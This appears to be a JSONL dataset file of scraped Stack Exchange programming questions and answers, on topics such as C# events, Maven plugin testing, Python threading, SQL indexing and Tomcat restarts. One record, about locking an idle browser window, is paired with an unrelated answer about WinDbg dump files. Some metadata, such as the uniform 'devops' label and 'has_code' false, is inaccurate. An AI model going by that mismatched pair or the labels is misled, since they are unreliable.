{"id": "hf_25bee068d786", "question": "<p>I am doing some research on Unicode for a white-paper I am writing. Does anyone remember the first version of MS Office on the Windows platform that was fully Unicode compliant? Not having much luck Googling this answer out of the net.</p>\n", "question_body": "", "answer": "office 97:\n\"The universal character set provided by Unicode overcomes this problem. Office 97 was the first version of Office to support Unicode in all applications except Microsoft Access and Microsoft Outlook®. In Office 2000, Access and Microsoft Publisher gain Unicode support. Microsoft FrontPage® 2000 also supports Unicode on Web pages, but text typed into dialog boxes and other elements of the user interface are limited to characters defined by the user’s code page.\" - Microsoft\nurl:\nhttp://office.microsoft.com/en-us/ork2000/HA011382921033.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:27.045663"}
{"id": "hf_526443c82acb", "question": "<p>It's known that you should declare events that take as parameters <code>(object sender, EventArgs args)</code>. Why?</p>\n", "question_body": "", "answer": "This allows the consuming developer the ability to write a single event handler for multiple events, regardless of sender or event.\nEdit:\nWhy would you need a different pattern?  You can inherit EventArgs to provide any amount of data, and changing the pattern is only going to serve to confuse and frustrate any developer that is forced to consume this new pattern.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:27.069719"}
{"id": "hf_b4159039f87a", "question": "<p>What is the best way to create a webservice for accepting an image.\nThe image might be quite big and I do not want to change the default receive size for the web application.\nI have written one that accepts a binary image but that I feel that there has to be a better alternative.</p>\n", "question_body": "", "answer": "Where does this image \"live?\" Is it accessible in the local file system or on the web? If so, I would suggest having your WebService accepting a URI (can be a URL or a local file) and opening it as a Stream, then using a StreamReader to read the contents of it.\nExample (but wrap the exceptions in FaultExceptions, and add FaultContractAttributes):\n```\n```\nusing System.Drawing;\nusing System.IO;\nusing System.Net;\nusing System.Net.Sockets;\n\n[OperationContract]\npublic void FetchImage(Uri url)\n{\n    // Validate url\n\n    if (url == null)\n    {\n        throw new ArgumentNullException(url);\n    }\n\n    // If the service doesn't know how to resolve relative URI paths\n\n    /*if (!uri.IsAbsoluteUri)\n    {\n        throw new ArgumentException(\"Must be absolute.\", url);\n    }*/\n\n    // Download and load the image\n\n    Image image = new Func<Bitmap>(() =>\n    {\n        try\n        {\n            using (WebClient downloader = new WebClient())\n            {\n                return new Bitmap(downloader.OpenRead(url));\n            }\n        }\n        catch (ArgumentException exception)\n        {\n            throw new ResourceNotImageException(url, exception);\n        }\n        catch (WebException exception)\n        {\n            throw new ImageDownloadFailedException(url, exception);\n        }\n\n        // IOException and SocketException are not wrapped by WebException :(            \n\n        catch (IOException exception)\n        {\n            throw new ImageDownloadFailedException(url, exception);\n        }\n        catch (SocketException exception)\n        {\n            throw new ImageDownloadFailedException(url, exception);\n        }\n    })();\n\n    // Do something with image\n\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:27.154783"}
{"id": "hf_131750d367c4", "question": "<p>Why isn't <a href=\"http://java.sun.com/javase/6/docs/api/java/util/Collection.html#remove(java.lang.Object)\" rel=\"noreferrer\">Collection.remove(Object o)</a> generic?  </p>\n\n<p>Seems like <code>Collection&lt;E&gt;</code> could have <code>boolean remove(E o);</code> </p>\n\n<p>Then, when you accidentally try to remove (for example) <code>Set&lt;String&gt;</code> instead of each individual String from a <code>Collection&lt;String&gt;</code>, it would be a compile time error instead of a debugging problem later.</p>\n", "question_body": "", "answer": "Because if your type parameter is a wildcard, you can't use a generic remove method.\nI seem to recall running into this question with Map's get(Object) method.  The get method in this case isn't generic, though it should reasonably expect to be passed an object of the same type as the first type parameter.  I realized that if you're passing around Maps with a wildcard as the first type parameter, then there's no way to get an element out of the Map with that method, if that argument was generic.  Wildcard arguments can't really be satisfied, because the compiler can't guarantee that the type is correct.  I speculate that the reason add is generic is that you're expected to guarantee that the type is correct before adding it to the collection.  However, when removing an object, if the type is incorrect then it won't match anything anyway.  If the argument were a wildcard the method would simply be unusable, even though you may have an object which you can GUARANTEE belongs to that collection, because you just got a reference to it in the previous line....\nI probably didn't explain it very well, but it seems logical enough to me.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:27.179405"}
{"id": "hf_97fb486250b6", "question": "<p>I've got a (mostly) working plugin developed, but since its function is directly related to the project it processes, how do you develop unit and integration tests for the plugin.  The best idea I've had is to create an integration test project for the plugin that uses the plugin during its lifecycle and has tests that report on the plugins success or failure in processing the data.</p>\n\n<p>Anyone with better ideas?</p>\n", "question_body": "", "answer": "You need to use the\nmaven-plugin-testing-harness\n,\n```\n<dependency>\n        <groupId>org.apache.maven.shared</groupId>\n        <artifactId>maven-plugin-testing-harness</artifactId>\n        <version>1.1</version>\n        <scope>test</scope>\n    </dependency>\n```\nYou derive your unit test classes from\nAbstractMojoTestCase\n.\nYou need to create a bare bones POM, usually in the\n```\nsrc/test/resources\n```\nfolder.\n```\n<project>\n        <build>\n            <plugins>\n                <plugin>\n                    <groupId>com.mydomain,mytools</groupId>\n                    <artifactId>mytool-maven-plugin</artifactId>\n                    <configuration>\n                        <!-- Insert configuration settings here -->\n                    </configuration>\n                    <executions>\n                        <execution>\n                            <goals>\n                                <goal>mygoal</goal>\n                            </goals>\n                        </execution>\n                    </executions>\n                </plugin>\n            </plugins>\n        </build>\n    </project>\n```\nUse the AbstractMojoTest.lookupMojo(String,File) (or one of the other variations) to load the Mojo for a specific goal and execute it.\n```\nfinal File testPom = new File(PlexusTestCase.getBasedir(), \"/target/test-classes/mytools-plugin-config.xml\");\n    Mojo mojo = this.lookupMojo(\"mygoal\", testPom);\n    // Insert assertions to validate that your plugin was initialised correctly\n    mojo.execute();\n    // Insert assertions to validate that your plugin behaved as expected\n```\nI created my a plugin of my own that you can refer to for clarification\nhttp://ldap-plugin.btmatthews.com\n,", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:27.203649"}
{"id": "hf_a4b15f14a9ad", "question": "<p>I have a winforms application that normally is at about 2-4% CPU.  We are seeing some spikes up to 27% of CPU for limited number of times.  What is the best profiling tool to determine what is actually causing this spike.  We use dottrace but i dont see how to map that to exactly the CPU spikes?</p>\n\n<p>Appreciate the help</p>\n", "question_body": "", "answer": "I've used 2 profiling tools before - RedGate's ANTS profiler, and the built in profiler found in Visual Studio Team System.\nIt's been some time since I used RedGate's (\nhttp://www.red-gate.com/products/ants_profiler/index.htm\n) profiler, though I used the built in in Visual Studio 2008 fairly recently.\nThat being said, I felt that the RedGate product felt more intuitive to use.  One thing that frustrated me back when I used the RedGate product was that I couldn't instruct the profiler to only profile my code starting at a certain point - I had a performance hit that couldn't be reached until a fair amount of code had already executed and therefore polluted my results.  They may have added that feature since then.\nThe built in version for Visual Studio is only available in their very-high end versions of the product.  Someone correct me if I am wrong, but I don't think even the \"Professional\" version has the profiler.  I am currently using Team System Developer Edition, which\ndoes\nhave the code analysis tools.\nOne thing the VS version does do though, is enable you to pause the profiling, and even start your app with profiling paused, so you can really focus on the performance of something very specific.  This can be exceedingly helpful when you are trying to understand the analysis results.\nEDIT: Both tools will show you memory usage, and the number of times a specific method was called, and how much time was spent in each method.  What they do not do, to the best of my knowledge, is show you CPU usage at any given point in time.  However, there are likely strong correlations between CPU usage and the amount of time spent in a given block of code.\nIf you can duplicate the CPU spikes consistently by invoking certain actions in the APP, then what I would do is try and get my hands on the VS profiler, start the app with profiling pause, enable profiling right before you do whatever typically results in the spike, and examine those results.\nThis assumes of course that you have some sort of deterministic behavior to recreate the spikes.  If not ... you might considering threaded processes or garbage collection a candidate for your performance hit.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:27.240762"}
{"id": "hf_4c5d6bdf89f7", "question": "<p>I'm looking for a way to find the name of the Windows default printer using unmanaged C++ (found plenty of .NET examples, but no success unmanaged). Thanks.</p>\n", "question_body": "", "answer": "The following works great for printing with the win32api from C++\n```\n```\nchar szPrinterName[255];\nunsigned long lPrinterNameLength;\nGetDefaultPrinter( szPrinterName, &lPrinterNameLength );\nHDC hPrinterDC;\nhPrinterDC = CreateDC(\"WINSPOOL\\0\", szPrinterName, NULL, NULL);\n```\n```\nIn the future instead of googling \"unmanaged\" try googling \"win32 /subject/\" or \"win32 api /subject/\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:27.276401"}
{"id": "hf_dd3b72e52ee3", "question": "<p>When I start Tomcat (6.0.18) from Eclipse (3.4), I receive this message (first in the log):</p>\n\n<blockquote>\n  <p>WARNING:\n  [SetPropertiesRule]{Server/Service/Engine/Host/Context}\n  Setting property 'source' to\n  'org.eclipse.jst.jee.server: (project name)'\n  did not find a matching property.</p>\n</blockquote>\n\n<p>Seems this message does not have any severe impact, however, does anyone know how to get rid of it?</p>\n", "question_body": "", "answer": "From\nEclipse Newsgroup\n:\nThe warning about the source property\n  is new with Tomcat 6.0.16 and may be\n  ignored. WTP adds a \"source\" attribute\n  to identify which project in the\n  workspace is associated with the\n  context. The fact that the Context\n  object in Tomcat has no corresponding\n  source property doesn't cause any\n  problems.\nI realize that this doesn't answer how to get rid of the warning, but I hope it helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:27.311695"}
{"id": "hf_70bc14c282fb", "question": "<p>I have a table with a \"Date\" column.  Each Date may appear multiple times.  How do I select only the dates that appear &lt; k number of times?</p>\n", "question_body": "", "answer": "```\n```\nSELECT * FROM [MyTable] WHERE [Date] IN\n(\n    SELECT [Date] \n    FROM [MyTable] \n    GROUP By [Date] \n    HAVING COUNT(*) < @Max\n)\n```\n```\nSee @[SQLMenace] 's response also.  It's very similar to this, but depending on your database his JOIN will probably run faster, assuming the optimizer doesn't make the difference moot.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:27.496383"}
{"id": "hf_57e6498e680e", "question": "<p>When I am working in .NET 2.0 projects with the newest version of ReSharper (4.1) I am getting warnings about using the var keyword and lambadas etc.. Any idea how I can disable this only for .NET 2.0 projects?</p>\n", "question_body": "", "answer": "You can actually use var in 2.0 projects.  It's syntactical sugar and the compiler works with it. Check out this for more info.\nhttp://weblogs.asp.net/shahar/archive/2008/01/23/use-c-3-features-from-c-2-and-net-2-0-code.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:27.519971"}
{"id": "hf_1c2345dc1008", "question": "<p>In Python specifically, how do variables get shared between threads?</p>\n\n<p>Although I have used <code>threading.Thread</code> before I never really understood or saw examples of how variables got shared.  Are they shared between the main thread and the children or only among the children? When would I need to use thread local storage to avoid this sharing?</p>\n\n<p>I have seen many warnings about synchronizing access to shared data among threads by using locks but I have yet to see a really good example of the problem. </p>\n\n<p>Thanks in advance!</p>\n", "question_body": "", "answer": "In Python, everything is shared, except for function-local variables (because each function call gets its own set of locals, and threads are always separate function calls.) And even then, only the variables themselves (the names that refer to objects) are local to the function; objects themselves are always global, and anything can refer to them.\nThe\n```\nThread\n```\nobject for a particular thread is not a special object in this regard. If you store the\n```\nThread\n```\nobject somewhere all threads can access (like a global variable) then all threads can access that one\n```\nThread\n```\nobject. If you want to atomically modify\nanything\nthat another thread has access to, you have to protect it with a lock. And all threads must of course share this very same lock, or it wouldn't be very effective.\nIf you want actual thread-local storage, that's where\n```\nthreading.local\n```\ncomes in. Attributes of\n```\nthreading.local\n```\nare not shared between threads; each thread sees only the attributes it itself placed in there. If you're curious about its implementation, the source is in\n_threading_local.py\nin the standard library.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:27.543543"}
{"id": "hf_dca1c03ee198", "question": "<p>I'm currently using Wordpress to run my website.  However, with each new release I become more concerned with software bloat and the convoluted table structures used to store my data.  Maybe this is a fruitless pursuit.  Features are always added to blogging software until it claims to be a CMS--and at that point your data is probably stuck.</p>\n", "question_body": "", "answer": "You do have the option of sticking with the 2.0 branch. This will be maintained with just bug fixes until 2010. Take a look at\nhttp://wordpress.org/download/legacy/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:27.568312"}
{"id": "hf_6bdabb229038", "question": "<p>I'd like to run a long rsync command in Cygwin by double clicking on a .sh file in Windows.  It must start in the file's containing directory (e.g. /cygdrive/c/scripts/) so that relative paths work.  Anyone gotten this to work?</p>\n\n<p>Note: I've just found <a href=\"http://web.archive.org/web/20121204091631/http://blog.chavez.ws:80/2008/03/cygwin-command-here.html\" rel=\"nofollow noreferrer\">here</a>, a Cygwin package that manages Windows context menus (Bash Prompt Here).  It might have some clues.</p>\n", "question_body": "", "answer": "One solution that works is to create a\n```\n.bat\n```\nfile that will open cygwin and execute your script.\nThe script to execute the script\n```\ngo.sh\n```\nlocated on my home directory:\n```\n```\n@echo off\n\nC:\nchdir C:\\cygwin\\bin\n\nbash --login -i ./go.sh\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:27.644643"}
{"id": "hf_579e24e8b5f8", "question": "<p>We have a 12-year-old Ms Access app that we use for our core inventory warehousing and invoicing system. It IS already running on an SQL Server backend, but all the \"logic\", forms and reports are in Access. After experiencing the massive amounts of maintenance sludge it took to turn inventory transactions from non-temporal to temporal, I realized that I need to someday convert this thing into code so I can better manage the logic in a much more maintainable and testable environment.</p>\n\n<p>What are some techniques that would allow me to convert it into a .Net application in a manageable and efficient manner?</p>\n\n<p>One idea was to convert the queries to stored procedures, then convert the app into an Adp project.But I am still clueless as to how to handle the forms and reports.</p>\n\n<p>Also, I am the only developer for my company, if that matters.</p>\n", "question_body": "", "answer": "Short answer: the migration doesn't seem like something easily automated.\nMy guess is that your best bet is to rewrite (and install) the system one piece at a time, even if (perhaps) it forces your users to run the old and new versions side-by-side for a while to use different bits of functionality. You can minimize that hassle by careful consideration of which features to migrate and in which order.\nFor example, you might have one user whose job role requires him or her to use just one screen all day. If you migrate that screen first with accompanying functionality, that user can be on the new system immediately and leave the old one behind, reducing your maintenance load.\nSo those are just some ideas based on not too much information. I hope this helps anyway.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:27.668742"}
{"id": "hf_c3bcbce0b4c0", "question": "<p>What is the difference between display:block and display:inline</p>\n", "question_body": "", "answer": "Block elements will typically stack vertically whereas inline elements will line up horizontally.\nTwo Divs will stack on top of each other, but if you set them to display:inline, they will be next to each other horizontally. Vise-versa with Span tags.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:27.704729"}
{"id": "hf_108666b7553b", "question": "<p>Is there any way to capture the trace statements of your Flex app while not running in debug mode?</p>\n\n<p>Or is there any other way to output logging information when not running a debugger?</p>\n\n<p>Currently I'm trying to fix a bug that only presents itself in very specific deployment scenario, but I could see this being useful in some instances for customers to send logs to tech support when they are reporting bugs or other problems.</p>\n", "question_body": "", "answer": "I suppose you're talking about Adobe Flex, targeting the Flash Player?\nIf so, you can write your own logging wrapper class that propagates log messages sent to it to several targets (like the trace stack and internal memory so that you can access the log from within the app and e.g. send it to a server when the user agrees to send a bug report). Also see the\nFlex logging framework\nfor something like this that already exists.\nI've actually done something like this -- I have a class called\n```\nLog\n```\nwith static methods like\n```\nlog()\n```\n,\n```\ndebug()\n```\n,\n```\nerror()\n```\netc. that I use in my apps, and this class forwards all messages sent to it into the trace stack via\n```\ntrace()\n```\n, into a \"log console\" app running on the same host via LocalConnection and/or Socket (a socket connection is obviously a lot faster than LocalConnection) and also saves them locally into an array so that users can send bug reports along with the log output right from within the app.\nThis sort of a change of course means that you'd have to translate all\n```\ntrace()\n```\ncommands in your code into calls to the logging system, but that can be easily achieved with a regex search & replace.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:27.739896"}
{"id": "hf_b617d405393d", "question": "<p>Our project uses Cruise Control to both build and hot deploy a web application to a remote server (via FTP) running Tomcat in the form of a .war file.  Unfortunately, \"hot\" deploys don't appear to work properly, causing us to reboot Tomcat in response to each deployment.  We would really like to do this auto-magically, much like the build itself.  Is there an easy way to do this?</p>\n\n<p>Side note: both machines are running Windows (XP or server, I think).</p>\n\n<p>Side note 2: Performance doesn't really matter.  This is an integration box.</p>\n", "question_body": "", "answer": "if you have regularly scheduled builds you could easily put something in the cron like this\n```\n```\ncrontab -e\n```\n```\nthen stop tomcat at say 1:30 am\n```\n```\n30 1 * * * ./path_to_tamcat/bin/catalina.sh stop\n```\n```\nthen start it up again 2 mins later\n```\n```\n32 1 * * * ./path_to_tamcat/bin/catalina.sh start\n```\n```\ngranted this isn't the best for irregular deployment, but you could easily have regular deployment with scheduled restart.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:27.764042"}
{"id": "hf_59752ad1d6e7", "question": "<p>What are the major reasons for using <a href=\"http://en.wikipedia.org/wiki/WinDbg\" rel=\"noreferrer\">WinDbg</a> vs the Visual Studio debugger?</p>\n\n<p>And is it commonly used as a complete replacement for the Visual Studio debugger, or more for when the need arises.</p>\n", "question_body": "", "answer": "I have used it when I've been sent .dmp files from an NT4.0 server - MSVC won't load these old format files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:27.787955"}
{"id": "hf_01eb49cfcb4a", "question": "<p>Working on a new back end system for my company, and one of their requests is for a window to become locked down and for the user to be sent to the login screen if they leave it idle for to long.</p>\n\n<p>I figure I'd do this with JavaScript by attaching listeners to clicks, mouse moves and key-ups but I worry about messing with other scripts.</p>\n\n<p>Any suggestions?\n­­­­­­­­­­­­­­­­­­­­­­­­­­</p>\n", "question_body": "", "answer": "I have used it when I've been sent .dmp files from an NT4.0 server - MSVC won't load these old format files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:27.811582"}
{"id": "hf_19ddcb624406", "question": "<p>Suppose I have a directory <code>/dir</code> inside which there are 3 symlinks to other directories \n<code>/dir/dir11</code>, <code>/dir/dir12</code>, and <code>/dir/dir13</code>. I want to list all the files in <code>dir</code> including the ones in <code>dir11</code>, <code>dir12</code> and <code>dir13</code>.</p>\n\n<p>To be more generic, I want to list all files including the ones in the directories which are symlinks. <code>find .</code>, <code>ls -R</code>, etc stop at the symlink without navigating into them to list further.</p>\n", "question_body": "", "answer": "The\n```\n-L\n```\noption to\n```\nls\n```\nwill accomplish what you want. It dereferences symbolic links.\nSo your command would be:\n```\n```\nls -LR\n```\n```\nYou can also accomplish this with\n```\n```\nfind -follow\n```\n```\nThe\n```\n-follow\n```\noption directs find to follow symbolic links to directories.\nOn Mac OS X use\n```\n```\nfind -L\n```\n```\nas\n```\n-follow\n```\nhas been deprecated.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:27.860636"}
{"id": "hf_34ed3af7ebd5", "question": "<p>See title. By lightweight markup I mean something like markdown or wikitext.</p>\n", "question_body": "", "answer": "Well, silverstripe\nhttp://www.silverstripe.com/\nis thought to be a good option for people who care about web standards , as is modx\nhttp://modxcms.com/\nFor a lighter editor, check out textpattern.com which uses textile (like markdown). If you're on rails,\nhttp://webby.rubyforge.org/\nmight do the trick.\nhttp://www.madebyfrog.com\nis a port of the ruby CMS radiant that aims to be fast, light, and minimal.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:27.885085"}
{"id": "hf_73958ddf8ceb", "question": "<p>What is a \"table-driven method\"?</p>\n\n<p>As mentioned by Bill Gates in the <a href=\"https://www.youtube.com/watch?v=nNOohFst9Lc\" rel=\"nofollow noreferrer\">second Windows Vista commercial</a> at 1:05.</p>\n", "question_body": "", "answer": "Table-driven methods are schemes that allow you to look up information in a table rather than using logic statements (i.e. case, if). In simple cases, it's quicker and easier to use logic statements, but as the logic chain becomes more complex, table-driven code is simpler than complicated logic, easier to modify and more efficient.\nReference:\nMcConnell, Steve. Code Complete, Second Edition. Redmond (Washington): Microsoft, 2004. Print. Page 411, Paragraph 1.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:27.958673"}
{"id": "hf_c3f1c281a4ad", "question": "<p>I have a dev, that will get around our code coverage by writing tests that never fail.</p>\n\n<p>The code is just atrocious, but the tests never catch it because they assert(true).</p>\n\n<p>I code review, but I can't do everyones work for them, all the time. How do you get people like this motivated to make good software?</p>\n\n<p>Is there a build plugin for detecting tests that can't fail?</p>\n\n<p>C#, mbUnit tests.</p>\n", "question_body": "", "answer": "You should really specify the language / framework you're using.\nIn the simplest case, I suppose it should be easy to detect\n```\nassert(true)\n```\nstrings with simple\n```\ngrep\n```\n-ping.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:27.982561"}
{"id": "hf_da2aad0fe518", "question": "<p>How can you enumerate an <code>enum</code> in C#?</p>\n\n<p>E.g. the following code does not compile:</p>\n\n<pre class=\"lang-cs prettyprint-override\"><code>public enum Suit\n{\n    Spades,\n    Hearts,\n    Clubs,\n    Diamonds\n}\n\npublic void EnumerateAllSuitsDemoMethod()\n{\n    foreach (Suit suit in Suit)\n    {\n        DoSomething(suit);\n    }\n}\n</code></pre>\n\n<p>And it gives the following compile-time error:</p>\n\n<blockquote>\n  <p>'Suit' is a 'type' but is used like a 'variable'</p>\n</blockquote>\n\n<p>It fails on the <code>Suit</code> keyword, the second one.</p>\n", "question_body": "", "answer": "I think you can use\n```\n```\nEnum.GetNames(Suit)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:28.035538"}
{"id": "hf_81435f1f6d20", "question": "<p>I am maintaining a pretty sizable application and database and am noticing some poor database performance in a few of our stored procedures.</p>\n\n<p>I always hear that \"adding an index\" can be done to help performance. I am certainly no DBA, and I do not understand what indexes are, why they help, and how to create them.</p>\n\n<p>I basically need an indexes 101. </p>\n\n<p>Can anyone give me resources so that I can learn?</p>\n", "question_body": "", "answer": "An index basically sorts your data on the given columns and then stores that order, so when you want to find an item, the database can optimize by using binary search (or some other optimized way of searching), rather than looking at each individual row.\nThus, if the amount of data you are searching through is large, you will absolutely want to add some indexes.\nMost databases have a tool to explain how your query will work (for db2, it's db2expln, something similar probably for sqlserver), and a tool to suggest indexes and other optimizations (db2advis for db2, again probably something similar for sqlserver).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:28.075576"}
{"id": "hf_0583a6181210", "question": "<p>I think I've got it down to the most basic case:</p>\n\n<pre><code>int main(int argc, char ** argv) {\n  int * arr;\n\n  foo(arr);\n  printf(\"car[3]=%d\\n\",arr[3]);\n  free (arr);\n  return 1;\n}\n\nvoid foo(int * arr) {\n  arr = (int*) malloc( sizeof(int)*25 );\n  arr[3] = 69;\n}\n</code></pre>\n\n<p>The output is this:</p>\n\n<pre class=\"lang-none prettyprint-override\"><code>&gt; ./a.out \n car[3]=-1869558540\n a.out(4100) malloc: *** error for object 0x8fe01037: Non-aligned pointer\n                         being freed\n *** set a breakpoint in malloc_error_break to debug\n&gt;\n</code></pre>\n\n<p>If anyone can shed light on where my understanding is failing, it'd be greatly appreciated.</p>\n", "question_body": "", "answer": "You've allocated arr in foo, but that pointers value is stored in the call stack. If you want to do this, do it like this:\n```\n```\nvoid foo( int ** arr) {\n    *arr = (int *)malloc( sizeof(int) * 25 );\n    (*arr)[3] = 69;\n}\n```\n```\nAnd in main, simply pass a pointer to foo (like foo(&arr))", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:28.127274"}
{"id": "hf_871184e230e1", "question": "<p>I have a problem to connect to my WCF service if customer is using proxy with credentials. I'm unable to find the way to set credential to generated client proxy. </p>\n\n<p>If I use the web service, then it is possible to set proxy. </p>\n", "question_body": "", "answer": "Not sure if this is what you are looking for but the below is a working code sample to authenticate using the client credentials.\n```\n```\nDim client As ProductServiceClient = New ProductServiceClient(\"wsHttpProductService\")\n    client.ClientCredentials.UserName.UserName = \"username\"\n    client.ClientCredentials.UserName.Password = \"password\"\n    Dim ProductList As List(Of Product) = client.GetProducts()\n    mView.Products = ProductList\n    client.Close()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:28.164966"}
{"id": "hf_0738dd691b19", "question": "<p>Being a C# developer since version 1.0, F# has captured my free time for the past few weeks. Computers are now sold with 2, 4 .. Cores and multi-threading is not always simple to accomplish. </p>\n\n<p>At the moment I see that F# has great potential for complicated and or heavy workloads.\nDo you think that F# will (once RTM) become an important player in the Enterprise Software market?</p>\n", "question_body": "", "answer": "I think regardless of whether F# becomes import for Enterprise Software being able to isolate pure functional portions of code in any language will be key to using the potential of multi-core computers.  For instance Microsoft's Parallel Extensions for .NET are great, but there is still a lot of room to make mistakes by parallelizing code that can't execute in parallel.  If the code is in the form of a pure functional language or a subset of your language that is purely functional, then you are assured that you can execute it in parallel.  The trick is then figuring out the most efficient way to assign the work.\nThe role that F# plays in this I would say would be more as a catalyst to get people's feet wet and start thinking in a more declarative way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:28.205636"}
